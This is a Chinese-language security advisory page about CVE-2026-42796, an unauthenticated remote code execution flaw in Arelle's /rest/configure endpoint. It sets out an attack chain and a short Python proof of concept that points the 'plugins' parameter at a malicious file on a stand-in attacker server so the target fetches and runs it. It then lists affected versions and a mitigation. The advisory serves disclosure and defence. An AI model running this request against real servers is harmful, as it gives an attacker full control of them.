IPBUF安全漏洞报告
English
CVE-2026-42796 CVSS 9.8 严重

CVE-2026-42796 Arelle未认证远程代码执行漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-42796
漏洞类型
远程代码执行
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Arelle

相关标签

RCE远程代码执行Arelle未认证访问CVE-2026-42796

漏洞概述

Arelle 2.39.10之前版本存在严重的未认证远程代码执行漏洞。该漏洞源于`/rest/configure` REST端点在处理`plugins`参数时缺乏有效的身份验证与授权机制。攻击者可利用此缺陷,通过构造包含恶意Python文件URL的请求,迫使Arelle服务器下载并执行任意代码,从而完全控制受影响的服务器系统,造成数据泄露或破坏。

技术细节

该漏洞主要存在于Arelle的REST API架构设计缺陷中。具体来说,`/rest/configure`端点被设计用于配置插件,其接收名为`plugins`的查询参数。系统在处理该参数时,直接将其值转发给后端的插件管理器,而未经过任何形式的身份验证或授权检查。此外,插件管理器在处理外部URL时缺乏沙箱隔离或输入验证机制。攻击者利用这一逻辑漏洞,只需向目标服务器发送一个精心构造的HTTP GET或POST请求,将`plugins`参数指向托管在互联网上的恶意Python文件。服务器端在解析请求后,会尝试获取并动态加载该远程Python文件。由于代码是在Arelle进程上下文中执行的,攻击者即可获得服务器的操作系统级访问权限,实现完全的远程控制。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别出运行Arelle且暴露在互联网上的目标服务器。
STEP 2
武器化
攻击者准备包含恶意代码的Python文件(如反弹Shell脚本),并将其托管在可控的Web服务器上。
STEP 3
投递
攻击者向目标服务器的`/rest/configure`端点发送特制的HTTP请求,将`plugins`参数指向恶意Python文件的URL。
STEP 4
利用
Arelle服务器接收到请求后,插件管理器未经验证直接从指定URL下载文件,并在当前进程上下文中执行其中的Python代码。
STEP 5
行动
恶意代码执行,攻击者获得服务器权限,可进一步安装后门、窃取数据或进行横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable Arelle instance target_url = "http://target-ip:80/rest/configure" # URL where the malicious Python plugin is hosted malicious_plugin_url = "http://attacker-server/malicious_exploit.py" # Construct the payload by sending the plugins parameter params = { "plugins": malicious_plugin_url } try: # Send the request to trigger the vulnerability response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. The target should download and execute the code.") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Arelle < 2.39.10

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或WAF层面阻断对`/rest/configure`接口的外部访问,并检查服务器日志中是否存在异常的插件加载请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表